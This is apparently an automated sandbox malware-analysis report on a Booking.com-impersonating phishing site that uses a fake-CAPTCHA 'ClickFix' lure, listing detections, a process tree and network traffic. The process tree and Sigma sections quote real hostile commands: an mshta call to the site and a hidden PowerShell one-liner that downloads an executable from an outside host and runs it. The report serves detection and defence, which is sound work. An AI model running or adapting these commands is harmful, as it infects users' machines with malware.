Edit tour

Windows Analysis Report
https://account.order129837129821.one

Overview

General Information

Sample URL:	https://account.order129837129821.one
Analysis ID:	1566461
Infos:

Detection

CAPTCHA Scam ClickFix

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detect drive by download via clipboard copy & paste

Yara detected CAPTCHA Scam ClickFix

AI detected suspicious Javascript

Powershell drops PE file

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious MSHTA Child Process

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTML page contains hidden javascript code

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6496 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=1920,i,12704983008749592542,2319869984269630859,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6692 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://account.order129837129821.one" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

svchost.exe (PID: 6736 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

mshta.exe (PID: 8116 cmdline: "C:\Windows\system32\mshta.exe" https://account.order129837129821.one/captcha # ? ''I am not a robot - reCAPTCHA Verification ID: 3781'' MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 7376 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

downloaded.exe (PID: 4244 cmdline: "C:\Users\user\AppData\Local\Temp\downloaded.exe" MD5: 3AAD566F1E5EADD40727569F1C2A358D)

conhost.exe (PID: 1388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

downloaded.exe (PID: 7528 cmdline: "C:\Users\user\AppData\Local\Temp\downloaded.exe" MD5: 3AAD566F1E5EADD40727569F1C2A358D)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2888 cmdline: C:\Windows\system32\cmd.exe /c taskkill /F /IM chrome.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 640 cmdline: taskkill /F /IM chrome.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
3.5.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security
3.4.pages.csv	JoeSecurity_CAPTCHAScam	Yara detected CAPTCHA Scam/ ClickFix	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\mshta.exe" https://account.order129837129821.one/captcha # ? ''I am not a robot - reCAPTCHA Verification ID: 3781'', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 8116, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", ProcessId: 7376, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\mshta.exe" https://account.order129837129821.one/captcha # ? ''I am not a robot - reCAPTCHA Verification ID: 3781'', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 8116, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", ProcessId: 7376, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\mshta.exe" https://account.order129837129821.one/captcha # ? ''I am not a robot - reCAPTCHA Verification ID: 3781'', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 8116, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", ProcessId: 7376, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\mshta.exe" https://account.order129837129821.one/captcha # ? ''I am not a robot - reCAPTCHA Verification ID: 3781'', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 8116, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", ProcessId: 7376, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\mshta.exe" https://account.order129837129821.one/captcha # ? ''I am not a robot - reCAPTCHA Verification ID: 3781'', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 8116, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$url='https://account.order921739128391.one/downloadExe'; $tempPath=[IO.Path]::GetTempPath(); $fileName='downloaded.exe'; $destination=Join-Path $tempPath $fileName; Invoke-WebRequest -Uri $url -OutFile $destination; Start-Process $destination", ProcessId: 7376, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 656, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6736, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNRAERWEuvDBuUuCdXLZIVifZBtUFjPRkdIxBgJFWUMFhYyntGyaywfbXFlbuAVncbySWVguhfvhXMp	Joe Sandbox AI: Score: 9 Reasons: The brand 'Booking.com' is a well-known online travel agency., The legitimate domain for Booking.com is 'booking.com'., The provided URL 'account.order129837129821.one' does not match the legitimate domain., The URL contains unusual elements such as 'order129837129821' and uses a '.one' domain extension, which is not associated with Booking.com., The presence of 'account' in the subdomain could be an attempt to mimic a login or account management page, which is a common phishing tactic. DOM: 3.4.pages.csv
Source: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNRAERWEuvDBuUuCdXLZIVifZBtUFjPRkdIxBgJFWUMFhYyntGyaywfbXFlbuAVncbySWVguhfvhXMp	Joe Sandbox AI: Score: 9 Reasons: The brand 'Booking.com' is a well-known online travel agency., The legitimate domain for Booking.com is 'booking.com'., The provided URL 'account.order129837129821.one' does not match the legitimate domain., The URL contains a random string 'order129837129821' which is suspicious and not associated with Booking.com., The domain extension '.one' is unusual for Booking.com, which typically uses '.com'., The presence of input fields for 'Email address' and 'Password' on a non-legitimate domain is a common phishing tactic. DOM: 3.5.pages.csv

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: Script shows multiple high-risk indicators: heavily obfuscated data/URLs (long encoded strings), suspicious domain pattern (account.order129837129821.one), and uses challenge-response tokens typical of malicious redirect chains. The domain structure and extensive parameter encoding suggest potential phishing or malware distribution infrastructure.
Source: 0.7.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High risk due to multiple suspicious behaviors: 1) Attempts to copy malicious command using mshta (a known attack vector) to clipboard, 2) Manipulates reCAPTCHA elements to hide them, suggesting CAPTCHA bypass attempt, 3) Command injection potential through template literal. Pattern matches typical phishing/malware deployment tactics.
Source: 0.9.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript: High risk script that attempts to manipulate reCAPTCHA elements and creates a command using 'mshta' (Microsoft HTML Application Host) which is commonly abused for malware execution. The script hides legitimate CAPTCHA elements, shows a fake loading animation, and attempts to copy a potentially malicious command to clipboard. The use of mshta and manipulation of security controls (reCAPTCHA) are strong indicators of malicious intent.

Source: https://account.order129837129821.one/?__cf_chl_rt_tk=KDWa0..Fbck9hKg3sDTsmfFTAkMIOcfZRuzpR0xglnE-1733126008-1.0.1.1-uaZeYgkOrt8TwpiIVQbEaYAygZ1M.Dmza1AFtuMwn1I

HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none"><path fill="#B20F03" d="M16 3a13 13 0 1 0 13 13A13.015 13.015 0 0 0 16 3m0 24a11 11 0 1 1 11-11 11.01 11.01 0 0 1-11 11"/><path fill="#B20F03" d="M17.038 18.615H14.87L14.563 9.5h2....

Source: https://account.order129837129821.one/?__cf_chl_rt_tk=KDWa0..Fbck9hKg3sDTsmfFTAkMIOcfZRuzpR0xglnE-1733126008-1.0.1.1-uaZeYgkOrt8TwpiIVQbEaYAygZ1M.Dmza1AFtuMwn1I	HTTP Parser: No favicon
Source: https://account.order129837129821.one/	HTTP Parser: No favicon
Source: https://account.order129837129821.one/	HTTP Parser: No favicon
Source: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNRAERWEuvDBuUuCdXLZIVifZBtUFjPRkdIxBgJFWUMFhYyntGyaywfbXFlbuAVncbySWVguhfvhXMp	HTTP Parser: No favicon
Source: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNRAERWEuvDBuUuCdXLZIVifZBtUFjPRkdIxBgJFWUMFhYyntGyaywfbXFlbuAVncbySWVguhfvhXMp	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.99:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.46.36:443 -> 192.168.2.16:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.46.36:443 -> 192.168.2.16:49774 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.12
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10

Source: global traffic	DNS traffic detected: DNS query: account.order129837129821.one
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: q-xx.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: account.order921739128391.one

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
